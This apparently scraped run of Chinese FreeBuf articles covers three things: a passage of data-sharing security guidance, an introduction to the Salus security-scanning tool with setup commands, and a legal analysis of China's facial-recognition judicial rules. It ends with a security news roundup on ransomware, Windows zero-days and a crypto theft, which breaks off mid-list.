配置管理:确定如何协调可能影响数据交换/共享安全性和功能的配置变更的规划、设计和实施,例如升级硬件或软件、更改配置设置或添加服务。 与每个组织的相关人员建立一个群组,以审查可能影响数据交换/共享的预期变更。协调配置管理活动将降低实施变更的可能性。

行为准则:制定行为准则,明确规定被授权访问交换数据和系统处理、存储或传输数据的人员的职责和可操作行为。以书面形式记录规则并说明不一致行为或不遵守的后果,并通过安全意识培训强调行为准则。

培训和意识:为授权访问交换/共享数据的用户、以及处理、存储或传输数据的系统用户进行安全培训和意识教育。数据交换安全培训和意识教育可以纳入现有的组织培训活动中。在适当的情况下,要求用户签署一份确认表,表明对数据交换安全责任的理解。如果使用共享应用,需要确保用户知道如何正确使用它们。

4.1.5 步骤五:记录适当的协议

联合规划小组确定并记录管理交换信息所需的协议;处理、存储或传输信息的系统;相关组织和用户的角色和职责;根据对相关技术、安全和管理问题的审查(如 4.1.4 节所述),明确组织将遵守的协议条款,以及其他适当的要求。可能需要多种类型的协议,例如服务水平协议、通信协议和保密协议等。

下表反映了基于数据交换/共享类型或方法(行)以及数据丢失的影响程度(列)可能需要的协议,提供了初步指导以帮助组织确定最合适的协议。

1628340838_610e82669f97e20e3b14c.png!small?1628340839275

由于协议本身可能包含中等影响或更高影响的数据,因此根据影响级别处理、存储和传输协议,以防止通信过程中数据被盗窃、篡改或破坏。

(1)互连安全协议(ISA)

互连安全协议 (ISA) 是一份文件,规定了在两个或多个系统之间建立、操作和维护互连的技术和安全要求。ISA 还支持组织之间的谅解备忘录/协议 (MOU/A)。具体来说,ISA 记录了连接系统的要求;描述了保护交换数据及处理、存储或传输数据的系统所需的安全保护要求和控制措施;包括互连的网络拓扑图;并为参与组织提供签名行。当通过系统互连方式进行数据交换/共享时,应选择该协议。

(2)谅解备忘录及协议(MOU/A)

MOU/A 通常与 ISA 一起应用于数据交换/共享。一般来说,谅解备忘录是参与组织之间的合作意向声明,通常说明合作的目标、目的;详细说明协议的条款和条件;概述实现目标或目的所需的操作。谅解协议最常用于解决各方之间的财务责任和义务。虽然谅解协议 不承担资金责任,但它可以指定承担资金责任的组织。

为支持数据交换/共享,谅解备忘录及协议共同解决如下问题:

数据交换/共享的目标和目的;

每个组织的相关权限和职责;

以安全方式交换/共享数据的协议和条件,包括可接受的交换/共享数据的使用;

交换/共享所涉及的财务责任;

中止或重新授权数据交换/共享的时间表。

谅解备忘录和谅解协议不包括有关如何建立或维护数据交换/共享的技术细节或交换的具体安全要求;如果数据交换/共享活动中,不涉及相关的财务责任问题,则可以不使用谅解协议(MOA)。

(3)数据交换/共享协议

数据交换/共享协议是一份文件,规定了交换/共享数据的安全保护要求和责任。类似于 ISA,但不包括与互连相关的技术细节。具体来说,数据交换/共享协议描述了保护交换/共享数据以及处理、存储或传输数据的系统所需的保护要求和安全控制措施,并为参与组织提供了签名行。

(4)服务水平协议

服务水平协议 (SLA) 代表服务提供商与一个或多个客户之间的承诺,并涉及服务的特定方面,例如责任、服务类型等详细信息、预期的性能水平(例如,可靠性、可接受的质量、 和响应时间),以及报告、解决和终止的要求。SLA通常是正式合同的一部分。当数据交换/共享活动的影响程度为中等或高等级时,可以使用SLA 进行数据交换/共享。

(5)用户协议、访问协议和用户许可协议

用户协议、访问协议和用户许可协议是面向用户的协议,类似于行为准则,指定用户在交换/共享数据或访问包含交换/共享数据的文件或系统时的责任。协议中规定的用户责任可能包括但不限于允许用户对数据做什么、如何使用数据以及数据是否可以传输给其他方。有权访问数据的用户在获得数据访问权限之前阅读并同意协议以确认接受和理解。当被交换/共享的数据重要性为中等或高影响等级时,可以使用用户协议、访问协议和用户许可协议。

(6)保密协议

保密协议 (NDA) 描述了签署方同意不向任何其他方发布或泄露的特定信息、材料或知识。NDA可以在规定的时间范围内有效,也可以是无限期的。当被交换/共享的数据的保密性很高或属于个人身份信息时,建议使用保密协议进行数据交换/共享。

(7)组织定义的其他类型协议

合同、互联网服务协议或其他组织定义的协议也可应用于数据交换/共享。为支持业务需求,组织可能会签订机构间/或组织间协议,这些协议并非特定于数据交换/共享,但可能包含了交换/共享数据的需求。如果需要数据交换/共享来支持另一项协议,则组织应确定要交换的数据的特定保护需求和相关协议需求。

(8)登录追踪工具

追踪工具提供了一种记录和追踪授权边界外数据交换/共享的方法。追踪工具的示例包括但不限于内部电子表格或数据库;治理、风险和合规 (GRC) 工具或其他自动化工具; 并在系统安全规划中保持最新的控制实施信息。追踪数据交换/共享的要求可能会作为其他类型协议(如,ISA和IEA)的一部分被提出。

4.1.6 步骤六:批准或拒绝数据/共享交换

联合规划小组将起草的协议提交给每个参与组织的相关领导或风险管理官员,并请求批准数据交换/共享活动。相关领导或风险管理官员收到后审查协议及相关文件或程序。根据审查结果决定以下事项之一:

批准数据交换/共享;

拒绝数据交换/共享。

如果相关领导或风险管理官员接受协议,则需要签署文件并注明日期,从而批准数据交换/共享活动。参与组织根据组织存档政策和程序保留这些协议,并通知其他相关人员该活动已获批准。

如果协议被领导或风险管理官员拒绝,他们将提出解决方案或指定在批准之前要完成的额外要求,包括实施额外的安全控制。此外,还规定了完成任务的时间表。联合规划小组努力满足要求,然后重新提交更新的数据安全协议。

4.1.7 紧急交换/共享数据

有时可能会出现紧急情况,需要立即交换/共享数据。当时间不允许遵循既定的数据交换/共享安全管理流程时,仍然可以对数据交换/共享进行管理和控制。例如,在交换之前,组织应明确处理和保护数据的说明、对数据访问的限制、用户访问或保密协议等。

数据或系统所有者应记录紧急交换/共享的理由以及参与紧急交换/共享的角色和特定个人,如果紧急交换/共享成为经常性或永久性的交换/共享,参与组织应在初始紧急交换/共享后记录数据交换/共享安全管理过程并持续完善管理措施。如果紧急交换/共享是孤立事件,参与组织应确保对数据进行与风险相称的安全保护,并订立适当的协议进行后续跟进。

4.2 建立数据交换/共享
数据交换/共享活动经规划批准后,方可实施。本小节提供了建立数据交换/共享的推荐步骤,本阶段应完成的内容如下:

1628340907_610e82ab4b9718f2fbc94.png!small?1628340907761

4.2.1 步骤一:制定实施计划

为了确保数据安全地交换/共享,联合规划小组应制定数据交换/共享实施计划。实施计划的目的是将数据交换/共享工作的所有方面集中在一份文件中,并阐明将如何实施协议中规定的相关技术要求。完善的实施计划将极大地提高数据交换/共享的安全性和成功性。

实施计划包含的内容如下:

描述数据交换/共享活动所涉及的相关系统;

确定要交换/共享的数据的影响级别;

确定负责建立和维护数据交换/共享的人员并指定他们的职责;

确定实施任务和流程;

确定并描述为保护交换/共享数据的机密性、完整性和可用性而实施的安全控制措施;

提供控制措施评估和测量标准,以确保数据被安全地交换;

指定对用户的培训要求,包括培训计划;

引用或包括所有相关文档,例如系统安全计划、设计规范和标准操作流程。

4.2.2 步骤二:执行实施计划

在规划小组的成员制定、审查和批准实施计划后,该计划就可以执行了。下面提供了用于实施数据交换/共享的推荐任务。

(1)安装或配置硬件和软件

可能需要安装新的硬件和软件或配置现有的硬件和软件以支持数据交换/共享活动。

(2)实施或配置安全控制

如果安全控制不到位或配置不当,建立数据交换/共享的过程可能会使系统暴露给未经授权的人员访问。因此,第一步是按照协议和实施计划中的规定实施适当的安全控制措施或配置现有安全控制措施。

(3)集成应用程序

为支持数据交换/共享的服务需要集成应用程序或协议。示例包括但不限于数据库应用程序、电子邮件、Web 浏览器、应用程序服务器、身份认证服务器、域名服务器、开发工具、编辑程序和通信程序。

(4)实施操作并安全测试

进行评估以确定支持数据交换/共享的设备是否正常运行,并且未授权用户没有明显的方法可以规避或破坏安全控制。测试跨交换的应用程序之间的接口,并模拟数据流量,以在接收端验证正确的数据接收。如果可以,应在隔离的非操作环境中进行测试以避免影响系统。记录测试结果,并将其与各组织批准的一组预先确定的操作和安全要求进行比较。确定结果是否满足双方商定的可接受的风险水平,以及是否需要采取其他应对措施。

(5)开展安全培训及意识教育

对所有参与管理、使用或操作数据的授权人员进行安全培训和意识培训。定期为特定用户提供安全培训,并为所有用户提供意识教育。将行为准则分发给所有接触交换数据的人员。确保人员知道如何报告可疑或禁止的活动,以及在遇到问题时如何请求帮助。

(6)更新系统安全计划

组织更新他们的系统安全计划和相关文件,以反映他们各自系统运行的安全环境变化。 此外,建议对更新计划中与数据交换/共享相关的部分进行相互审查。在数据交换/共享协议中应规定进行相互审查的细节。

建议系统安全计划应包括以下有关数据交换/共享的信息:

受影响系统的名称;

参与组织;

交换/共享方法;

授权管理人员的姓名和职务;

授权日期;

要交换/共享数据的描述/类型;

要交换/共享的各类数据的影响级别;

受影响系统的影响程度;

受影响系统的接口;

硬件清单;

软件清单;

管理数据交换/共享的安全问题和行为准则。

(7)开展安全评估和授权活动

建立数据交换/共享活动可能会带来相关系统的重大变化。在进一步进行之前,每个参与组织都应评估并授权各自的系统,以确保安全风险保持在可接受的水平。

4.2.3 步骤三:启动数据交换/共享

按照规定的准则,启动供各方使用的数据交换/共享活动。建议各组织在商定的期限内密切监视交换/共享活动,以确保其正常和安全地运行。并且仔细、频繁地分析审计日志,以及监控用户请求的帮助类型。记录并及时解决出现的任何脆弱性或问题。

4.3 维护数据交换/共享
一旦建立数据交换/共享活动,就应对其积极维护,以确保数据交换/共享安全。本小节描述了维护数据交换/共享安全的推荐活动,如图下图所示:

1628340932_610e82c4b65aeda9ed276.png!small?1628340933242

4.3.1 保持清晰的沟通渠道

参与数据交换/共享的组织必须建立明确的沟通渠道并定期沟通,这一点至关重要。开放的沟通渠道有助于确保数据交换/共享和与之相关的互连得到适当维护,并且确保安全控制措施持续有效。开放式沟通还有助于及时管理活动的变化,比如,系统的变更,另外,保持清晰的沟通渠道将提高安全事件响应速度。

指定人员之间的沟通是通过使用与数据交换/共享相关的协议中规定的流程来完成的。沟通的主题包括但不限于以下内容:

初始协议和协议变更;

指定管理和技术人员的变动;

与建立和维护数据交换/共享有关的其他活动;

可能影响数据交换/共享的管理活动的变化;

可能影响与数据交换/共享相关的系统和数据安全的事件;

导致数据交换/共享中断的突发事件;

数据交换/共享活动的终止;

数据交换/共享恢复计划。

4.3.2 维护系统和系统组件

参与组织应明确对数据交换/共享活动涉及的系统和系统组件进行维护。

4.3.3 管理用户账号

采取访问控制、身份验证和人员安全等控制措施,主动管理与数据交换/共享活动相关的用户帐户。

4.3.4 开展安全评估

每当发生重大变更时,参与组织应根据商定的频率对支持数据交换/共享实施的安全控制措施进行评估,或者建立持续的监测计划,以确保控制措施有效运行。安全评估可由一个或所有参与组织的指定审计机构或独立第三方进行。

4.3.5 分析事件日志

应根据参与组织商定的频率对数据交换/共享活动涉及的系统和系统组件的事件日志进行分析,以检测和跟踪异常或可疑活动。

4.3.6 报告和响应安全事件

参与数据交换/共享的组织应相互通知已发现的安全事件或可疑安全事件。各组织根据各自的事件响应流程采取适当的步骤来隔离并响应此类事件。根据事件的类型和严重程度,组织可能需要协调事件响应活动,甚至终止数据交换/共享活动。数据交换/共享的适用协议规定了每个参与组织的事件响应的角色和责任,以及事件通知和紧急终止流程。

4.3.7 协调应急预案活动

组织协调应急预案培训、测试和演习,以最大限度地减少灾难和其他可能损坏数据交换/共享系统或危及共享数据的机密性、完整性或可用性的突发事件带来的影响。建议各组织可根据现有的应急预案制定联合预案。

4.3.8 管理配置变更

有效的配置管理对于维护数据交换/共享安全至关重要。每个组织都会建立一个变更控制委员会 (CCB) 或类似的机构来审查和批准对其各自系统的变更计划,例如升级软件或添加服务。建议在隔离的非操作环境中测试计划的变更,以避免影响实际系统。此外,应以书面形式将变更计划通知其他参与方,并允许参与组织参与该过程。一般情况下,此类变更的目的是改进数据交换/共享的操作和安全性,例如通过添加新功能、改进用户界面和消除(或减轻)已知漏洞,尽管如此,在实施变更之前,组织应仔细审查变更,并在变更完成后管理和跟踪变更。

4.3.9 审查和更新系统安全计划和适用协议

系统安全计划、适用协议(例如 ISA、MOU/MOA、IEA 和访问协议)以及与数据交换/共享有关的其他相关文件,都应根据参与组织商定的频率进行定期评审和更新,或在与数据交换/共享有关的系统发生重大变化时进行评审和更新。

4.3.10 审查是否需要继续进行数据交换/共享

根据参与组织商定的频率审查继续进行数据交换/共享的业务情况,判断是否需要继续进行数据交换/共享。如果不再需要进行数据交换/共享,则按照终止计划实施相关流程。

4.4 终止数据交换/共享
本小节主要介绍了终止数据交换/共享的流程,如下图所示。应尽可能有条不紊地中断信息交换,避免导致系统中断。

1628340953_610e82d9adfaf45535469.png!small?1628340954187

4.4.1 终止计划

停止数据交换/共享的决定涉及相关的管理、安全和技术人员,并基于合理的理由,例如一个或多个参与者的持续安全故障或缺乏继续交换/共享数据的业务需求。在终止数据交换/共享之前,发起方应以书面形式通知其他各参与方,并等待收到确认回执。该书面通知描述了终止数据交换/共享的原因,提供了终止的预计时间表,并确定了将进行终止的技术和管理人员。

组织可能有多种原因停止数据交换/共享,包括但不限于:

改变了使命或业务需求;

安全评估失败,比如安全风险上升到了不可接受的水平;

无法遵守协议的技术规范;

无法遵守协议的条款和条件;

成本考虑,包括维护数据交换/共享所增加的成本;

系统配置或设备物理位置的变化。

合理安排终止数据交换/共享的时间,以便为内部业务规划留出足够的时间,并允许参与者进行适当的准备,包括通知受影响的用户以及确定继续运营的替代资源。此外,各组织的管理和技术人员协调确定停止数据交换/共享的处理和保障工作,包括清除和覆盖中等或高影响级别数据,根据已知的活动流程,当对用户的影响最小时,停止数据交换/共享。中断后,各组织应更新受影响的系统安全计划和相关文件,以反映其各自系统运行的安全环境发生了变化。

4.4.2 紧急终止

如果参与组织检测到攻击、入侵企图或其他利用或危害数据交换/共享所涉及的信息或系统的意外事件,可能需要在不向另一方提供书面通知的情况下突然终止数据交换/共享活动。只有在极端情况下,并且只有在与相关的技术负责人和高级管理人员协商后才会采取这种非常措施。

紧急终止的决定由系统所有者做出并由技术人员执行。系统所有者或指定人员应通过电话或其他口头方式通知参与方的紧急联系人,并收到已知确认。各参与方根据事件响应流程隔离和调查事件,包括进行影响评估、审查审计日志和安全控制措施。如果事件是攻击或入侵企图,当事各方应通知相关执法部门,并尽一切努力保全证据。

4.4.3 恢复连接

组织可以选择在数据交换/共享中断后再次恢复数据交换/共享。恢复数据交换/共享的决定是基于中断的原因和持续时间。例如,如果数据交换/共享活动是因攻击、入侵或其他突发事件而中断,则各方实施适当的对策以防止问题再次发生,并修改协议以应对任何需要注意的问题。另外,如果数据交换/共享已长期中断(例如,几个月或更长时间),则各参与方对其各自的系统应进行风险评估,并重新审查所有相关的规划和实施计划,包括制定新的协议。

五、总结导图
1628340990_610e82feae46e002780e6.png!small?1628340991237

本文作者:安全妹儿jing, 属于FreeBuf原创奖励计划,未经许可禁止转载

Salus:一款功能强大的安全扫描协调工具

Salus概述
Salus是一款功能强大的安全扫描协调工具,它可以帮助广大研究人员自动判断和选择需要使用哪一款安全扫描工具。我们可以通过Docker守护进程来对一个代码库运行Salus,而Salus则会自动判断适合运行哪一个扫描器,然后运行目标扫描器之后会将扫描结果输出给研究人员。Salus所支持的大部分扫描器都是成熟的开源项目,并且已经直接包含在了Salus项目之中。

Salus对于CI/CD管道特别有用,因为它成为了一个集中的地方来协调跨存储库的扫描。通常,扫描器会对每一个项目从代码库级别进行扫描。这也就意味着,在进行项目组织级别的切换时,就必须更改扫描器的运行方式,并且每一个库都需要更新。但在Salus的帮助下,我们可以直接更新Salus,而所有构建都将立即继承更改。

Salus支持强大的配置,允许全局默认值和局部调整。而且Salus可以报告每个存储库的细粒度信息,比如包含哪些包或存在哪些问题等等。

工具下载
广大研究人员可以使用下列命令将该项目源码克隆至本地:

git clone https://github.com/coinbase/salus.git
工具使用
在命令行终端中切换至该项目的根目录:

cd /path/to/repo
然后在该项目的根目录下运行下列命令:

docker run –rm -t -v $(pwd):/home/repo coinbase/salus
支持的扫描器
Bandit

Brakeman

semgrep

BundleAudit

Gosec

npm audit

yarn audit

PatternSearch

Cargo Audit

依赖跟踪
Salus还可以解析依赖文件,并报告所使用的代码库及版本信息。当前版本的Salus支持下列语言:

Ruby

js

Python

Go

Rust

CircleCI整合
Salus可以通过使用一个公共Orb来跟CircleCI整合。所有的Salus配置选项都支持,默认配置跟Salus本身配置相同。

CircleCI config.yml样例:

version: 2.1

orbs:

salus: federacy/[email protected]

workflows:

main:

jobs:

– salus/scan
GitHub Action整合
Salue还可以跟GitHub Action整合一起使用。

.github/workflows/main.yml样例:

on: [push]

jobs:

salus_scan_job:

runs-on: ubuntu-latest

name: Salus Security Scan Example

steps:

– uses: actions/[email protected]

– name: Salus Scan

id: salus_scan

uses: federacy/[email protected]
在自己的项目中使用Salus
我们根据给定的CI,可以更新配置文件并运行Salue:

docker run –rm -t -v $(pwd):/home/repo coinbase/salus
项目地址
Salus:【GitHub传送门】

许可证协议
本项目的开发与发布遵循Apache 2.0开源许可证协议。

参考资料
https://github.com/coinbase/salus/blob/master/docs/development.md

https://github.com/coinbase/salus/blob/master/docs/architecture.md

https://github.com/federacy/scan-action

https://github.com/coinbase/salus/blob/master/integrations/circleci/README.md

最高院关于人脸识别的司法解释,对企业的影响与合规建议

前言
“人脸识别”作为人工智能的应用之一,近些年随着技术发展,已逐步渗透到日常生活的方方面面。

大到疫情防控、城市治安,小到手机客户端的登录解锁,都能见到人脸识别的应用,但也引发了一系列个人信息保护问题。一些经营者滥用人脸识别技术侵害自然人合法权益的事件频发,比如,有些知名门店使用“无感式”人脸识别技术在未经同意的情况下擅自采集消费者人脸信息,分析消费者的性别、年龄、心情等,进而采取不同营销策略。又如,有些物业服务企业强制将人脸识别作为业主出入小区或者单元门的唯一验证方式,要求业主录入人脸并绑定相关个人信息,未经识别的业主不得进入小区。社会公众对人脸识别技术滥用的担心不断增加,强化人脸信息保护的呼声日益高涨。

在此背景下,最高人民法院此前发布了《关于审理使用人脸识别技术处理个人信息相关民事案件适用法律若干问题的规定》(以下简称《规定》),对如何规范人脸识别技术的应用提供了司法指导。本文将结合《信息安全技术 个人信息安全规范》(以下简称《个安规范》)、《信息安全技术 人脸识别数据安全要求(征求意见稿)》(以下简称《人脸识别要求》)对该《规定》进行解读,并就相关企业进行合规建议。

一、将人脸信息界定为“生物识别信息”
《规定》第一条第三款规定,本规定所称人脸信息属于民法典第一千零三十四条规定的“生物识别信息”。

人脸信息属于敏感个人信息中的生物识别信息,是生物识别信息中社交属性最强、最易采集的个人信息,具有唯一性和不可更改性,一旦泄露将对个人的人身和财产安全造成极大危害,甚至还可能威胁公共安全。本次《规定》将人脸信息界定为生物识别信息,意味着所有对生物识别信息和个人敏感信息的规制都可适用于人脸信息。

《信息安全技术 个人信息安全规范》(以下简称《个安规范》)第6.3条规定了个人信息控制者在对个人敏感信息传输和存储时的要求,包括在传输和存储个人敏感信息时,采用加密等安全措施;将个人生物识别信息应与个人身份信息分开存储且原则上不应存储原始个人生物识别信息(如样本、图像等),但可仅存储个人生物识别信息的摘要信息,或在采集终端中直接使用个人生物识别信息实现身份识别、认证等功能,或在使用面部识别特征、指纹、掌纹、虹膜等实现识别身份、认证等功能后删除可提取个人生物识别信息的原始图像。

而在个人信息共享、转让问题上,《个安规范》要求个人生物识别信息原则上不应共享、转让。但个人信息控制者确因业务需要,确需共享、转让的,应单独向个人信息主体告知目的、涉及的个人生物识别信息类型、数据接收方的具体身份和数据安全能力等,并征得个人信息主体的明示同意。

而在个人信息公开披露方面,《个安规范》反对任何情况下的公开披露个人生物识别信息,公安部的《互联网个人信息安全保护指南》也规定“不得公开披露个人生物识别信息“。

但本次最高法的《规定》并未对“人脸信息”进行界定。《信息安全技术 人脸识别数据安全要求(征求意见稿)》(以下简称《人脸识别要求》)提出了“人脸图像”、“人脸特征”与“人脸识别数据”三个概念范畴。但本次《规定》是否对此划分予以肯定仍有待于后续司法工作的开展。

3.1 人脸图像 face image自然人脸部信息的模拟或数字表示。

注:人脸图像可通过设备收集,也可对视频、数字照片等进行处理后获得,主要包括可见光图像、非可见光图像(如红外图像)、三维图像等。

3.2 人脸特征 face feature从数据主体的人脸图像提取的反映数据主体的参数。

3.3 人脸识别数据 face recognition data人脸图像及其处理得到的,可单独或与其他信息结合识别特定自然人或特定自然人身份的数据。

二、明确了人脸信息处理者处理人脸信息的规则
一段时间以来,部分移动应用程序(APP)通过一揽子授权、与其他授权捆绑、“不点击同意就不提供服务”等方式强制索取非必要个人信息的问题比较突出。为从司法角度规范此类行为,《规定》根据民法典第1035条,在吸收个人信息保护立法精神、借鉴域外做法的基础上,明确了以下处理人脸信息的规则:

1.单独同意规则
第二条 信息处理者处理人脸信息有下列情形之一的,人民法院应当认定属于侵害自然人人格权益的行为:

(三)基于个人同意处理人脸信息的,未征得自然人或者其监护人的单独同意,或者未按照法律、行政法规的规定征得自然人或者其监护人的书面同意;

《规定》第2条第3项引入单独同意规则,即信息处理者在征得个人同意时,必须就人脸信息处理活动单独取得个人的同意,不能通过一揽子告知同意等方式征得个人同意。

最高法在答记者问时表示,人脸信息属于敏感个人信息,处理活动对个人权益影响重大,因此,在告知同意上,有必要设定较高标准,以确保个人在充分知情的前提下,合理考虑对自己权益的后果而作出同意。

2.强迫同意无效规则
第四条 有下列情形之一,信息处理者以已征得自然人或者其监护人同意为由抗辩的,人民法院不予支持:

(一)信息处理者要求自然人同意处理其人脸信息才提供产品或者服务的,但是处理人脸信息属于提供产品或者服务所必需的除外;

(二)信息处理者以与其他授权捆绑等方式要求自然人同意处理其人脸信息的;

(三)强迫或者变相强迫自然人同意处理其人脸信息的其他情形。

自愿原则是民法典的基本原则之一,个人的同意必须是基于自愿而作出。特别是对人脸信息的处理,不能带有任何强迫因素。如果信息处理者采取“与其他授权捆绑”、“不点击同意就不提供服务”等做法,会导致自然人无法单独对人脸信息作出自愿同意,或者被迫同意处理其本不愿提供且非必要的人脸信息。信息处理者超出提供产品或者服务所必需的范畴获得的授权同意,人民法院对此不予认可。而基于个人同意处理人脸信息的,只要信息处理者不超出自然人同意的范围,原则上该行为就不构成侵权行为。

而对于信息处理者采取“与其他授权捆绑”、“不点击同意就不提供服务”等方式强迫或者变相强迫自然人同意处理其人脸信息的,《规定》对此采取从严认定的思路。信息处理者据此认为其已征得相应同意的,人民法院不予支持。

同时,最高法在答记者问时明确表示《规定》第4条不仅适用于线上应用,对于需要告知同意的线下场景也同样适用。

三、对强制刷脸说“不”
第十条 物业服务企业或者其他建筑物管理人以人脸识别作为业主或者物业使用人出入物业服务区域的唯一验证方式,不同意的业主或者物业使用人请求其提供其他合理验证方式的,人民法院依法予以支持。

物业服务企业或者其他建筑物管理人存在本规定第二条规定的情形,当事人请求物业服务企业或者其他建筑物管理人承担侵权责任的,人民法院依法予以支持。

伴随着人脸识别技术应用场景的不断丰富,一些小区引入人脸识别系统,用“刷脸”代替“刷卡”。实践中,存在部分小区物业强制要求居民录入人脸信息,并将人脸识别作为出入小区的唯一验证方式,这种行为违反“告知同意”原则。对于此问题,本次《规定》作出了回应。

本次《规定》明确小区物业在使用人脸识别门禁系统录入人脸信息时,应当征得业主或者物业使用人的同意,而对于不同意的业主或物业使用人,小区物业应当提供替代性验证方式,不得侵害业主或物业使用人的人格权益和其他合法权益。

倘若物业服务企业或者其他建筑物管理人以人脸识别作为业主或者物业使用人出入物业服务区域的唯一验证方式的,不同意的业主或者物业使用人请求其提供其他合理验证方式的,人民法院依法予以支持。

同时,如果物业服务企业或者其他建筑物管理人存在下列情形的,属于侵害自然人人格权益的侵权行为,当事人请求物业服务企业或者其他建筑物管理人承担侵权责任的,人民法院依法予以支持。

未公开处理人脸信息的规则或者未明示处理的目的、方式、范围;

违反信息处理者明示或者双方约定的处理人脸信息的目的、方式、范围等;

未采取应有的技术措施或者其他必要措施确保其收集、存储的人脸信息安全,致使人脸信息泄露、篡改、丢失;

违反法律、行政法规的规定或者双方的约定,向他人提供人脸信息;

违背公序良俗处理人脸信息;

违反合法、正当、必要原则处理人脸信息的其他情形。

四、加强对未成年人人脸信息的保护
伴随着人脸识别应用场景越来越广泛,未成年人的人脸信息被采集的场景也越来越多,既有线上的,如,商场、小区、学校等场所安装的人脸识别系统,也有线下的,如手机上带有人脸识别功能的APP软件,互联网上需要进行人脸验证的平台等等。倘若未成年人的人脸信息一旦泄露,侵权影响甚至可能伴随其一生,特别是技术歧视或算法偏见所导致的不公平待遇,会直接影响未成年人的人格发展。对于这一问题,本次《规定》则从司法审判层面加强对未成年人人脸信息的保护。

第二条 信息处理者处理人脸信息有下列情形之一的,人民法院应当认定属于侵害自然人人格权益的行为:

(三)基于个人同意处理人脸信息的,未征得自然人或者其监护人的单独同意,或者未按照法律、行政法规的规定征得自然人或者其监护人的书面同意;

按照告知同意原则,《规定》第2条第3项明确了信息处理者处理未成年人人脸信息的,必须征得其监护人的单独同意。

而关于具体年龄,《人脸识别要求》的征求意见稿规定,原则上不应使用人脸识别方式对不满十四周岁的未成年人进行身份识别;而最高法在答记者问时表示可依据《未成年人保护法》《网络安全法》以及将来的《个人信息保护法》进行认定。

第三条人民法院认定信息处理者承担侵害自然人人格权益的民事责任,应当适用民法典第九百九十八条的规定,并结合案件具体情况综合考量受害人是否为未成年人、告知同意情况以及信息处理的必要程度等因素。

而在侵权责任认定方面,《规定》第3条在民法典第998条的基础上,对侵害人脸信息责任认定的考量因素予以细化,结合当前未成年人人脸信息保护现状,明确将“受害人是否未成年人”作为责任认定特殊考量因素,对于违法处理未成年人人脸信息的,在责任承担时依法予以从重从严。

五、明确格式条款的效力
第十一条信息处理者采用格式条款与自然人订立合同,要求自然人授予其无期限限制、不可撤销、可任意转授权等处理人脸信息的权利,该自然人依据民法典第四百九十七条请求确认格式条款无效的,人民法院依法予以支持。

针对信息处理者通过采用格式条款与自然人订立合同,要求自然人授予其无期限限制、不可撤销、可任意转授权等处理人脸信息的权利的,第11条规定,自然人依据民法典第497条请求确认格式条款无效的,人民法院依法予以支持。

六、合规建议
本次最高法针对人脸识别问题颁布的规定涵盖了近期群众关心的热点问题,所涉及的主体也相当广泛,具体如物业服务企业或者其他建筑物管理人,广泛如人脸信息处理者,其行为与纠纷均有可能落入该《规定》的适用范围。其中需要值得注意的是对于“人脸信息处理者”的界定,根据文义解释与立法目的,凡是以人脸信息处理为内容的企业均属于此“人脸信息处理者”。

在实践中,人脸识别服务多由以“人脸识别”为业务内容的人工智能公司或互联网公司的有关业务部门提供。其所提供的人脸识别技术服务内容,既涉及SaaS部署、私有化部署,也包括提供SDK产品或运营与终端对接的人脸识别软件,不同的技术服务对于人脸信息的处理程度存在高低之别,监管机关对此应有所区别。

而为了应对不断加码的安全合规要求,我们对上述企业提出如下建议,以供参考。

完善隐私协议,公开处理人脸信息的规则或者明示处理的目的、方式、范围,并确保处理人脸信息时得到单独授权;

接入第三方人脸识别SDK时应当进行信息公示,同时应保证API和SDK等技术工具的安全;

人脸信息与个人身份信息分开存储,且不存储原始人脸信息(如人脸图像等);

不存储原始个人生物识别信息(如人脸识别底图、签到人脸照片等),或是仅存储人脸的摘要信息,或是在人脸信息采集终端中直接使用人脸识别信息实现身份识别、认证等功能,或在使用面部识别特征实现识别身份、认证等功能后删除可提取人脸识别信息的原始图像。

因业务需要确需共享、转让人脸信息, 应单独向人脸信息主体告知目的、涉及的人脸识别信息类型、数据接收方的具体身份和数据安全能力等,并征得信息主体的明示同意。

本文作者:丁学明律师, 属于FreeBuf原创奖励计划,未经许可禁止转载

全球咨询巨头埃森哲遭勒索攻击;微软警告新的RCE零日漏洞

全球动态
1. 全球咨询巨头埃森哲遭到LockBit 2.0勒索软件攻击
IT和咨询巨头埃森哲被LockBit 2.0勒索团伙攻击,该团伙在其泄漏网站上宣布了这一攻击。[外刊-阅读原文]

2. 警方和GreyShift承诺相互为对方的iPhone解锁工具保密
警方和政府机构一直试图对他们购买GreyShift的GreyKey iPhone解锁技术进行保密。GreyShift的GreyKey iPhone取证工具以前在FCC文件中被披露过。但现在,一系列的保密协议和其他保密文件透露了关于该工具的使用和要求的某些细节。[阅读原文]

3. 微软在修复安全漏洞后重振已弃用的 RDCMan
微软已经恢复了远程桌面连接管理器 (RDCMan) 应用程序。该应用程序去年因公司决定不修复的一个重要的信息披露漏洞而被弃用。[外刊-阅读原文]

4. Water Kappa 正瞄准日本的加密货币用户
一个基于社会工程的恶意广告活动已被发现,目标是日本的加密货币用户。该活动通过恶意的应用程序传播,利用了其中的侧载漏洞。被利用的漏洞被用来加载和启动Cinobi银行木马。[外刊-阅读原文]

5. 美NIST对儿童密码的研究表明密码最佳实践与行为之间存在差距
据外媒CNET报道,尽管人们可能认为在数字时代长大的青少年是更懂技术的一代,但他们仍然面临同样的网络安全威胁。美国国家标准与技术研究院(NIST)8月11日发布的一项研究显示,即使孩子们被教导了创建密码的最佳做法,他们也没有遵守。[阅读原文]

6. 匹兹堡大学医学中心(UPMC)支付 265 万美元以解决数据泄露案
七年前,匹兹堡大学医学中心 (UPMC) 发生数据泄露事件 。现在UPMC 将向 66,000 名员工支付 265 万美元已解决这件事,这些员工的个人数据被前联邦紧急事务管理局 (FEMA) 的 IT 专家 Justin Sean Johnson窃取。[外刊-阅读原文]

安全事件
1. Poly Network 失窃的 6 亿美元数字货币,黑客现已退还部分
Poly Network 通过社交网络发表公开信,呼吁黑客归还窃取的数字资产,称“所有国家的执法部门都会将这起案件视为重大经济犯罪并进行追捕”。8月11日,黑客真的开始退还部分窃取的资金,超过 2.6 亿美元的加密货币已经归还。[阅读原文]

2. 微软警告新的未打补丁的 Windows Print Spooler RCE 零日漏洞
微软警告另一个 Windows 打印后台处理程序的零日漏洞,被命名为 CVE-2021-36958,可能允许本地攻击者获得系统权限。[外刊-阅读原文]

3. 微软更新补丁修复了 PrintNightmare 漏洞
微软8月10日发布了 8 月份的补丁安全更新,解决了微软产品中的 120 个 CVE,包括一个在野外被积极利用的零日漏洞。[外刊-阅读原文]

4. Adobe 修复了 Magento 中的严重漏洞,建议立即更新
